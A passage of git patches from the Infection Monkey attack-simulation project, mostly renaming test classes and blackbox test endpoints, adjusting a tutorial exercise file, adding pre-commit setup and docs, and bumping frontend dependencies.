infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester -class PluginWorking(TestPlugin): +class PluginWorking(PluginTester): pass diff --git a/monkey/infection_monkey/utils/plugins/test_plugin.py b/monkey/infection_monkey/utils/plugins/test_plugin.py index d8034c0166f..35eaaed6340 100644 --- a/monkey/infection_monkey/utils/plugins/test_plugin.py +++ b/monkey/infection_monkey/utils/plugins/test_plugin.py @@ -3,33 +3,33 @@ from infection_monkey.utils.plugins.pluginTests.BadImport import SomeDummyPlugin from infection_monkey.utils.plugins.pluginTests.BadInit import BadPluginInit from infection_monkey.utils.plugins.pluginTests.ComboFile import BadInit, ProperClass -from infection_monkey.utils.plugins.pluginTests.PluginTestClass import TestPlugin +from infection_monkey.utils.plugins.pluginTests.PluginTestClass import PluginTester from infection_monkey.utils.plugins.pluginTests.PluginWorking import PluginWorking -class PluginTester(TestCase): +class TestPlugin(TestCase): def test_combo_file(self): - TestPlugin.classes_to_load = [BadInit.__name__, ProperClass.__name__] - to_init = TestPlugin.get_classes() + PluginTester.classes_to_load = [BadInit.__name__, ProperClass.__name__] + to_init = PluginTester.get_classes() self.assertEqual(len(to_init), 2) - objects = TestPlugin.get_instances() + objects = PluginTester.get_instances() self.assertEqual(len(objects), 1) def test_bad_init(self): - TestPlugin.classes_to_load = [BadPluginInit.__name__] - to_init = TestPlugin.get_classes() + PluginTester.classes_to_load = [BadPluginInit.__name__] + to_init = PluginTester.get_classes() self.assertEqual(len(to_init), 1) - objects = TestPlugin.get_instances() + objects = PluginTester.get_instances() self.assertEqual(len(objects), 0) def test_bad_import(self): - TestPlugin.classes_to_load = [SomeDummyPlugin.__name__] - to_init = TestPlugin.get_classes() + PluginTester.classes_to_load = [SomeDummyPlugin.__name__] + to_init = PluginTester.get_classes() self.assertEqual(len(to_init), 0) def test_flow(self): - TestPlugin.classes_to_load = [PluginWorking.__name__] - to_init = TestPlugin.get_classes() + PluginTester.classes_to_load = [PluginWorking.__name__] + to_init = PluginTester.get_classes() self.assertEqual(len(to_init), 1) - objects = TestPlugin.get_instances() + objects = PluginTester.get_instances() self.assertEqual(len(objects), 1) diff --git a/monkey/monkey_island/cc/environment/test__init__.py b/monkey/monkey_island/cc/environment/test_environment.py similarity index 100% rename from monkey/monkey_island/cc/environment/test__init__.py rename to monkey/monkey_island/cc/environment/test_environment.py diff --git a/monkey/monkey_island/cc/resources/test/test_log.py b/monkey/monkey_island/cc/resources/test/test_log.py index c6ec50f7122..9332d71f82e 100644 --- a/monkey/monkey_island/cc/resources/test/test_log.py +++ b/monkey/monkey_island/cc/resources/test/test_log.py @@ -6,7 +6,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required -class LogTest(flask_restful.Resource): +class TestLog(flask_restful.Resource): @jwt_required def get(self): find_query = json_util.loads(request.args.get("find_query")) diff --git a/monkey/monkey_island/cc/resources/test/test_monkey.py b/monkey/monkey_island/cc/resources/test/test_monkey.py index 1122141d22e..5eddc61ac83 100644 --- a/monkey/monkey_island/cc/resources/test/test_monkey.py +++ b/monkey/monkey_island/cc/resources/test/test_monkey.py @@ -6,7 +6,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required -class MonkeyTest(flask_restful.Resource): +class TestMonkey(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) diff --git a/monkey/monkey_island/cc/resources/test/test_telemetry.py b/monkey/monkey_island/cc/resources/test/test_telemetry.py index 54be08d712c..f929988ac66 100644 --- a/monkey/monkey_island/cc/resources/test/test_telemetry.py +++ b/monkey/monkey_island/cc/resources/test/test_telemetry.py @@ -6,7 +6,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required -class TelemetryTest(flask_restful.Resource): +class TestTelemetry(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py b/monkey/monkey_island/cc/services/edge/test_displayed_edge_service.py similarity index 100% rename from monkey/monkey_island/cc/services/edge/test_displayed_edge.py rename to monkey/monkey_island/cc/services/edge/test_displayed_edge_service.py diff --git a/monkey/monkey_island/cc/services/edge/test_edge.py b/monkey/monkey_island/cc/services/edge/test_edge_service.py similarity index 100% rename from monkey/monkey_island/cc/services/edge/test_edge.py rename to monkey/monkey_island/cc/services/edge/test_edge_service.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py similarity index 100% rename from monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py rename to monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment_telemetry_processing.py diff --git a/monkey/monkey_island/cc/services/test_bootloader.py b/monkey/monkey_island/cc/services/test_bootloader_service.py similarity index 100% rename from monkey/monkey_island/cc/services/test_bootloader.py rename to monkey/monkey_island/cc/services/test_bootloader_service.py diff --git a/monkey/monkey_island/cc/services/test_representations.py b/monkey/monkey_island/cc/services/test_representations.py index 8aadc0bed8d..c088c3dce99 100644 --- a/monkey/monkey_island/cc/services/test_representations.py +++ b/monkey/monkey_island/cc/services/test_representations.py @@ -6,7 +6,7 @@ from monkey_island.cc.services.representations import normalize_obj -class TestJsonRepresentations(TestCase): +class TestRepresentations(TestCase): def test_normalize_obj(self): # empty self.assertEqual({}, normalize_obj({})) diff --git a/monkey/monkey_island/cc/services/utils/test_node_states.py b/monkey/monkey_island/cc/services/utils/test_node_states.py index 98df5455b5f..e39a0c246f7 100644 --- a/monkey/monkey_island/cc/services/utils/test_node_states.py +++ b/monkey/monkey_island/cc/services/utils/test_node_states.py @@ -3,7 +3,7 @@ from monkey_island.cc.services.utils.node_states import NodeStates, NoGroupsFoundException -class TestNodeGroups(TestCase): +class TestNodeStates(TestCase): def test_get_group_by_keywords(self): self.assertEqual(NodeStates.get_by_keywords(["island"]), NodeStates.ISLAND) self.assertEqual( From a39cfd21fb7fe90297d29a93ea4d79f5abff05f7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 10 Apr 2021 23:14:32 +0530 Subject: [PATCH 0207/1360] Swimm: update exercise Add a simple Post Breach action (id: tbxb2cGgUiJQ8Btma0fp). --- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index 4450451e10c..9fda0cb204d 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -81,7 +81,7 @@ "type": "snippet", "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", "comments": [], - "firstLineNumber": 4, + "firstLineNumber": 5, "lines": [ " \"might do after breaching a new machine. Used in ATT&CK and Zero trust reports.\",", " \"type\": \"string\",", @@ -92,7 +92,7 @@ "* \"enum\": [\"BackdoorUser\"],", "* \"title\": \"Back door user\",", "* \"safe\": True,", - "* \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",", + "* \"info\": \"Attempts to create a new user on the system and delete it \" \"afterwards.\",", "* \"attack_techniques\": [\"T1136\"],", "* },", " {", @@ -113,7 +113,7 @@ "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3", "monkey/infection_monkey/post_breach/actions/add_user.py": "cae5a2428fa01b333a2e70365c9da1e189e31bc4", "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "dfc5945a362b88c1135f4476526c6c82977b02ee", - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "ea9b18aba7f71da12c9c82ac39d8a0cf2c472a9c" + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "2c1104bcbe3ba0f885907d9d00210bd658ce8f74" } } } From 26684bbb4e9cb35d9a7dad8f7a93e8c563849778 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 13 Apr 2021 10:47:48 +0530 Subject: [PATCH 0208/1360] Rename files having endpoints for blackbox tests --- monkey/monkey_island/cc/app.py | 12 ++++++------ .../test/{test_log.py => log_test_endpoint.py} | 2 +- .../test/{test_monkey.py => monkey_test_endpoint.py} | 2 +- ...{test_telemetry.py => telemetry_test_endpoint.py} | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) rename monkey/monkey_island/cc/resources/test/{test_log.py => log_test_endpoint.py} (91%) rename monkey/monkey_island/cc/resources/test/{test_monkey.py => monkey_test_endpoint.py} (87%) rename monkey/monkey_island/cc/resources/test/{test_telemetry.py => telemetry_test_endpoint.py} (87%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 1d9b7ce799c..4cc37e26908 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -37,9 +37,9 @@ from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.test.clear_caches import ClearCaches -from monkey_island.cc.resources.test.log_test import LogTest -from monkey_island.cc.resources.test.monkey_test import MonkeyTest -from monkey_island.cc.resources.test.telemetry_test import TelemetryTest +from monkey_island.cc.resources.test.log_test_endpoint import LogTestEndpoint +from monkey_island.cc.resources.test.monkey_test_endpoint import MonkeyTestEndpoint +from monkey_island.cc.resources.test.telemetry_test_endpoint import TelemetryTestEndpoint from monkey_island.cc.resources.version_update import VersionUpdate from monkey_island.cc.resources.zero_trust.finding_event import ZeroTrustFindingEvent from monkey_island.cc.resources.zero_trust.scoutsuite_auth.aws_keys import AWSKeys @@ -165,10 +165,10 @@ def init_api_resources(api): api.add_resource(AWSKeys, "/api/aws_keys") # Resources used by black box tests - api.add_resource(MonkeyTest, "/api/test/monkey") + api.add_resource(MonkeyTestEndpoint, "/api/test/monkey") api.add_resource(ClearCaches, "/api/test/clear_caches") - api.add_resource(LogTest, "/api/test/log") - api.add_resource(TelemetryTest, "/api/test/telemetry") + api.add_resource(LogTestEndpoint, "/api/test/log") + api.add_resource(TelemetryTestEndpoint, "/api/test/telemetry") def init_app(mongo_url): diff --git a/monkey/monkey_island/cc/resources/test/test_log.py b/monkey/monkey_island/cc/resources/test/log_test_endpoint.py similarity index 91% rename from monkey/monkey_island/cc/resources/test/test_log.py rename to monkey/monkey_island/cc/resources/test/log_test_endpoint.py index 9332d71f82e..26868a289a6 100644 --- a/monkey/monkey_island/cc/resources/test/test_log.py +++ b/monkey/monkey_island/cc/resources/test/log_test_endpoint.py @@ -6,7 +6,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required -class TestLog(flask_restful.Resource): +class LogTestEndpoint(flask_restful.Resource): @jwt_required def get(self): find_query = json_util.loads(request.args.get("find_query")) diff --git a/monkey/monkey_island/cc/resources/test/test_monkey.py b/monkey/monkey_island/cc/resources/test/monkey_test_endpoint.py similarity index 87% rename from monkey/monkey_island/cc/resources/test/test_monkey.py rename to monkey/monkey_island/cc/resources/test/monkey_test_endpoint.py index 5eddc61ac83..90333128081 100644 --- a/monkey/monkey_island/cc/resources/test/test_monkey.py +++ b/monkey/monkey_island/cc/resources/test/monkey_test_endpoint.py @@ -6,7 +6,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required -class TestMonkey(flask_restful.Resource): +class MonkeyTestEndpoint(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) diff --git a/monkey/monkey_island/cc/resources/test/test_telemetry.py b/monkey/monkey_island/cc/resources/test/telemetry_test_endpoint.py similarity index 87% rename from monkey/monkey_island/cc/resources/test/test_telemetry.py rename to monkey/monkey_island/cc/resources/test/telemetry_test_endpoint.py index f929988ac66..0321bb86b3e 100644 --- a/monkey/monkey_island/cc/resources/test/test_telemetry.py +++ b/monkey/monkey_island/cc/resources/test/telemetry_test_endpoint.py @@ -6,7 +6,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required -class TestTelemetry(flask_restful.Resource): +class TelemetryTestEndpoint(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) From 3cf538401687309d159584170fecae3afd82b15c Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 13 Apr 2021 12:00:43 +0530 Subject: [PATCH 0209/1360] Add arguments to eslint pre-commit hook --- .pre-commit-config.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 8065df524cd..b06e9ce5600 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -32,3 +32,4 @@ repos: rev: v7.24.0 hooks: - id: eslint + args: ["monkey/monkey_island/cc/ui/src/", "--fix"] From 0961471e3860d84958abab5621e1e028850e8ce4 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 13 Apr 2021 12:39:55 +0530 Subject: [PATCH 0210/1360] Add pre-commit section to development setup documentation --- docs/content/development/setup-development-environment.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md index d558b11ceff..af4aa5e8a47 100644 --- a/docs/content/development/setup-development-environment.md +++ b/docs/content/development/setup-development-environment.md @@ -23,3 +23,11 @@ This means setting up an environment with Linux 32/64-bit with Python installed The Monkey Island is a Python backend React frontend project. Similar to the agent, the backend's requirements are listed in the matching [`requirements.txt`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/requirements.txt). To setup a working front environment, run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/readme.txt) + +## Pre-commit + +Pre-commit is a multi-language package manager for pre-commit hooks. It will run a set of checks when you attempt to commit. If your commit does not pass all checks, it will be reformatted and/or you'll be given a list of errors and warnings that need to be fixed before you can commit. + +Our CI system runs the same checks when pull requests are submitted. This system may report that the build has failed if the pre-commit hooks have not been run or all issues have not been resolved. + +To install and configure pre-commit, run `pip install --user pre-commit`. Next, go to the top level directory of this repository and run `pre-commit install`. Pre-commit will now run automatically whenever you `git commit`. From 86c4f9f63d36910f0eb17d82b81a2fdac932c3fc Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 14 Apr 2021 10:42:04 +0530 Subject: [PATCH 0211/1360] Rename directory "test" to "blackbox" in monkey_island/cc/resources/ --- monkey/monkey_island/cc/app.py | 8 ++++---- .../cc/resources/{test => blackbox}/__init__.py | 0 .../cc/resources/{test => blackbox}/clear_caches.py | 0 .../cc/resources/{test => blackbox}/log_test_endpoint.py | 0 .../resources/{test => blackbox}/monkey_test_endpoint.py | 0 .../{test => blackbox}/telemetry_test_endpoint.py | 0 .../cc/resources/{test => blackbox}/utils/telem_store.py | 0 monkey/monkey_island/cc/resources/log.py | 2 +- monkey/monkey_island/cc/resources/monkey.py | 2 +- monkey/monkey_island/cc/resources/telemetry.py | 2 +- monkey/monkey_island/cc/services/infection_lifecycle.py | 2 +- 11 files changed, 8 insertions(+), 8 deletions(-) rename monkey/monkey_island/cc/resources/{test => blackbox}/__init__.py (100%) rename monkey/monkey_island/cc/resources/{test => blackbox}/clear_caches.py (100%) rename monkey/monkey_island/cc/resources/{test => blackbox}/log_test_endpoint.py (100%) rename monkey/monkey_island/cc/resources/{test => blackbox}/monkey_test_endpoint.py (100%) rename monkey/monkey_island/cc/resources/{test => blackbox}/telemetry_test_endpoint.py (100%) rename monkey/monkey_island/cc/resources/{test => blackbox}/utils/telem_store.py (100%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 4cc37e26908..5648988455d 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -12,6 +12,10 @@ from monkey_island.cc.resources.attack.attack_report import AttackReport from monkey_island.cc.resources.auth.auth import Authenticate, init_jwt from monkey_island.cc.resources.auth.registration import Registration +from monkey_island.cc.resources.blackbox.clear_caches import ClearCaches +from monkey_island.cc.resources.blackbox.log_test_endpoint import LogTestEndpoint +from monkey_island.cc.resources.blackbox.monkey_test_endpoint import MonkeyTestEndpoint +from monkey_island.cc.resources.blackbox.telemetry_test_endpoint import TelemetryTestEndpoint from monkey_island.cc.resources.bootloader import Bootloader from monkey_island.cc.resources.client_run import ClientRun from monkey_island.cc.resources.edge import Edge @@ -36,10 +40,6 @@ from monkey_island.cc.resources.T1216_pba_file_download import T1216PBAFileDownload from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed -from monkey_island.cc.resources.test.clear_caches import ClearCaches -from monkey_island.cc.resources.test.log_test_endpoint import LogTestEndpoint -from monkey_island.cc.resources.test.monkey_test_endpoint import MonkeyTestEndpoint -from monkey_island.cc.resources.test.telemetry_test_endpoint import TelemetryTestEndpoint from monkey_island.cc.resources.version_update import VersionUpdate from monkey_island.cc.resources.zero_trust.finding_event import ZeroTrustFindingEvent from monkey_island.cc.resources.zero_trust.scoutsuite_auth.aws_keys import AWSKeys diff --git a/monkey/monkey_island/cc/resources/test/__init__.py b/monkey/monkey_island/cc/resources/blackbox/__init__.py similarity index 100% rename from monkey/monkey_island/cc/resources/test/__init__.py rename to monkey/monkey_island/cc/resources/blackbox/__init__.py diff --git a/monkey/monkey_island/cc/resources/test/clear_caches.py b/monkey/monkey_island/cc/resources/blackbox/clear_caches.py similarity index 100% rename from monkey/monkey_island/cc/resources/test/clear_caches.py rename to monkey/monkey_island/cc/resources/blackbox/clear_caches.py diff --git a/monkey/monkey_island/cc/resources/test/log_test_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/log_test_endpoint.py similarity index 100% rename from monkey/monkey_island/cc/resources/test/log_test_endpoint.py rename to monkey/monkey_island/cc/resources/blackbox/log_test_endpoint.py diff --git a/monkey/monkey_island/cc/resources/test/monkey_test_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/monkey_test_endpoint.py similarity index 100% rename from monkey/monkey_island/cc/resources/test/monkey_test_endpoint.py rename to monkey/monkey_island/cc/resources/blackbox/monkey_test_endpoint.py diff --git a/monkey/monkey_island/cc/resources/test/telemetry_test_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/telemetry_test_endpoint.py similarity index 100% rename from monkey/monkey_island/cc/resources/test/telemetry_test_endpoint.py rename to monkey/monkey_island/cc/resources/blackbox/telemetry_test_endpoint.py diff --git a/monkey/monkey_island/cc/resources/test/utils/telem_store.py b/monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py similarity index 100% rename from monkey/monkey_island/cc/resources/test/utils/telem_store.py rename to monkey/monkey_island/cc/resources/blackbox/utils/telem_store.py diff --git a/monkey/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py index aae23fed3a5..126e1f69758 100644 --- a/monkey/monkey_island/cc/resources/log.py +++ b/monkey/monkey_island/cc/resources/log.py @@ -6,7 +6,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore +from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.log import LogService from monkey_island.cc.services.node import NodeService diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 66dbd881a32..7d8a18a9839 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -7,7 +7,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey_ttl import create_monkey_ttl_document -from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore +from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.server_utils.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.edge.edge import EdgeService diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 9bf2f7ddab4..15e7139a00b 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -10,7 +10,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey import Monkey from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore +from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.processing import process_telemetry diff --git a/monkey/monkey_island/cc/services/infection_lifecycle.py b/monkey/monkey_island/cc/services/infection_lifecycle.py index e921adc3e0c..476bc2a0e49 100644 --- a/monkey/monkey_island/cc/services/infection_lifecycle.py +++ b/monkey/monkey_island/cc/services/infection_lifecycle.py @@ -4,7 +4,7 @@ from flask import jsonify from monkey_island.cc.database import mongo -from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore +from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.report import ReportService From 6d43ce900c6e71cd419c5bc5cceb9db7dcb664b6 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 14 Apr 2021 10:46:14 +0530 Subject: [PATCH 0212/1360] Rename blackbox test files under monkey_island/cc/resources/blackbox/ --- monkey/monkey_island/cc/app.py | 6 +++--- .../{log_test_endpoint.py => log_blackbox_endpoint.py} | 0 ...{monkey_test_endpoint.py => monkey_blackbox_endpoint.py} | 0 ...etry_test_endpoint.py => telemetry_blackbox_endpoint.py} | 0 4 files changed, 3 insertions(+), 3 deletions(-) rename monkey/monkey_island/cc/resources/blackbox/{log_test_endpoint.py => log_blackbox_endpoint.py} (100%) rename monkey/monkey_island/cc/resources/blackbox/{monkey_test_endpoint.py => monkey_blackbox_endpoint.py} (100%) rename monkey/monkey_island/cc/resources/blackbox/{telemetry_test_endpoint.py => telemetry_blackbox_endpoint.py} (100%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 5648988455d..519d5787765 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -13,9 +13,9 @@ from monkey_island.cc.resources.auth.auth import Authenticate, init_jwt from monkey_island.cc.resources.auth.registration import Registration from monkey_island.cc.resources.blackbox.clear_caches import ClearCaches -from monkey_island.cc.resources.blackbox.log_test_endpoint import LogTestEndpoint -from monkey_island.cc.resources.blackbox.monkey_test_endpoint import MonkeyTestEndpoint -from monkey_island.cc.resources.blackbox.telemetry_test_endpoint import TelemetryTestEndpoint +from monkey_island.cc.resources.blackbox.log_blackbox_endpoint import LogTestEndpoint +from monkey_island.cc.resources.blackbox.monkey_blackbox_endpoint import MonkeyTestEndpoint +from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import TelemetryTestEndpoint from monkey_island.cc.resources.bootloader import Bootloader from monkey_island.cc.resources.client_run import ClientRun from monkey_island.cc.resources.edge import Edge diff --git a/monkey/monkey_island/cc/resources/blackbox/log_test_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py similarity index 100% rename from monkey/monkey_island/cc/resources/blackbox/log_test_endpoint.py rename to monkey/monkey_island/cc/resources/blackbox/log_blackbox_endpoint.py diff --git a/monkey/monkey_island/cc/resources/blackbox/monkey_test_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py similarity index 100% rename from monkey/monkey_island/cc/resources/blackbox/monkey_test_endpoint.py rename to monkey/monkey_island/cc/resources/blackbox/monkey_blackbox_endpoint.py diff --git a/monkey/monkey_island/cc/resources/blackbox/telemetry_test_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py similarity index 100% rename from monkey/monkey_island/cc/resources/blackbox/telemetry_test_endpoint.py rename to monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py From c10f2f690aa8075ce641f8d328e1e6f67ca9e7c0 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 14 Apr 2021 11:18:00 +0530 Subject: [PATCH 0213/1360] Swimm: update exercise Add a simple Post Breach action (id: tbxb2cGgUiJQ8Btma0fp). --- .swm/tbxb2cGgUiJQ8Btma0fp.swm | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm index 9fda0cb204d..d6a1b742bcd 100644 --- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm +++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm @@ -92,7 +92,7 @@ "* \"enum\": [\"BackdoorUser\"],", "* \"title\": \"Back door user\",", "* \"safe\": True,", - "* \"info\": \"Attempts to create a new user on the system and delete it \" \"afterwards.\",", + "* \"info\": \"Attempts to create a new user on the system and delete it afterwards.\",", "* \"attack_techniques\": [\"T1136\"],", "* },", " {", @@ -113,7 +113,7 @@ "monkey/common/common_consts/post_breach_consts.py": "25e6679cb1623aae1a732deb05cc011a452743e3", "monkey/infection_monkey/post_breach/actions/add_user.py": "cae5a2428fa01b333a2e70365c9da1e189e31bc4", "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": "dfc5945a362b88c1135f4476526c6c82977b02ee", - "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "2c1104bcbe3ba0f885907d9d00210bd658ce8f74" + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "086dc85693ae02ddfa106099245c0f155139805c" } } } From 50c5fdb9fc59e91bad534f100bec78cf03c896fe Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 23 Nov 2020 16:59:06 +0200 Subject: [PATCH 0214/1360] Typescript support implemented --- monkey/monkey_island/cc/ui/package.json | 76 +++++++++++--------- monkey/monkey_island/cc/ui/tsconfig.json | 13 ++++ monkey/monkey_island/cc/ui/webpack.config.js | 10 ++- 3 files changed, 64 insertions(+), 35 deletions(-) create mode 100644 monkey/monkey_island/cc/ui/tsconfig.json diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 1cc781c030a..7a8142d128e 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -27,85 +27,93 @@ "not dead" ], "devDependencies": { - "@babel/cli": "^7.8.4", - "@babel/core": "^7.9.6", - "@babel/plugin-proposal-class-properties": "^7.8.3", - "@babel/plugin-transform-runtime": "^7.9.6", - "@babel/preset-env": "^7.9.6", - "@babel/preset-react": "^7.9.0", - "@babel/runtime": "^7.9.6", + "@babel/cli": "^7.12.1", + "@babel/core": "^7.12.3", + "@babel/plugin-proposal-class-properties": "^7.12.1", + "@babel/plugin-transform-runtime": "^7.12.1", + "@babel/preset-env": "^7.12.1", + "@babel/preset-react": "^7.12.5", + "@babel/runtime": "^7.12.5", "babel-eslint": "^10.1.0", - "babel-loader": "^8.0.0", - "css-loader": "^3.5.0", + "babel-loader": "^8.2.1", + "copyfiles": "^2.4.0", + "css-loader": "^3.6.0", "eslint": "^6.8.0", "eslint-loader": "^4.0.1", - "eslint-plugin-react": "^7.19.0", + "eslint-plugin-react": "^7.21.5", "file-loader": "^1.1.11", "glob": "^7.1.6", "html-loader": "^0.5.5", "html-webpack-plugin": "^3.2.0", "minimist": "^1.2.5", + "node-sass": "^4.14.1", "null-loader": "^0.1.1", "react-addons-test-utils": "^15.6.2", "rimraf": "^2.7.1", + "sass-loader": "^7.3.1", "style-loader": "^0.22.1", - "copyfiles": "^2.2.0", + "stylelint": "^13.7.2", "url-loader": "^1.1.2", - "sass-loader": "^7.3.1", - "node-sass": "^4.14.1", - "webpack": "^4.43.0", - "webpack-cli": "^3.3.11", - "stylelint": "^13.3.3", + "webpack": "^4.44.2", + "webpack-cli": "^3.3.12", "webpack-dev-server": "^3.11.0" }, "dependencies": { - "@emotion/core": "^10.0.34", - "@fortawesome/fontawesome-svg-core": "^1.2.29", - "@fortawesome/free-regular-svg-icons": "^5.13.1", - "@fortawesome/free-solid-svg-icons": "^5.13.1", - "@fortawesome/react-fontawesome": "^0.1.11", + "@emotion/core": "^10.1.1", + "@fortawesome/fontawesome-svg-core": "^1.2.32", + "@fortawesome/free-regular-svg-icons": "^5.15.1", + "@fortawesome/free-solid-svg-icons": "^5.15.1", + "@fortawesome/react-fontawesome": "^0.1.12", "@kunukn/react-collapse": "^1.2.7", - "bootstrap": "^4.5.2", + "@types/jest": "^26.0.15", + "@types/node": "^14.14.9", + "@types/react": "^16.9.56", + "@types/react-dom": "^16.9.9", + "bootstrap": "^4.5.3", "classnames": "^2.2.6", - "core-js": "^3.6.5", + "core-js": "^3.7.0", "d3": "^5.14.1", "downloadjs": "^1.4.7", "fetch": "^1.1.0", "file-saver": "^2.0.2", - "filepond": "^4.19.2", + "filepond": "^4.23.1", "jwt-decode": "^2.2.0", "lodash": "^4.17.20", "marked": "^2.0.0", "normalize.css": "^8.0.0", - "npm": "^6.14.7", + "npm": "^6.14.8", "pluralize": "^7.0.0", "prop-types": "^15.7.2", "rainge": "^1.0.1", "rc-progress": "^2.6.1", - "react": "^16.12.0", - "react-bootstrap": "^1.3.0", + "react": "^16.14.0", + "react-bootstrap": "^1.4.0", "react-copy-to-clipboard": "^5.0.2", "react-data-components": "^1.2.0", "react-desktop-notification": "^1.0.9", "react-dimensions": "^1.3.0", - "react-dom": "^16.12.0", + "react-dom": "^16.14.0", "react-event-timeline": "^1.6.3", "react-fa": "^5.0.0", - "react-filepond": "^7.0.1", + "react-filepond": "^7.1.0", "react-graph-vis": "^1.0.5", - "react-hot-loader": "^4.12.20", - "react-json-tree": "^0.12.0", + "react-hot-loader": "^4.13.0", + "react-json-tree": 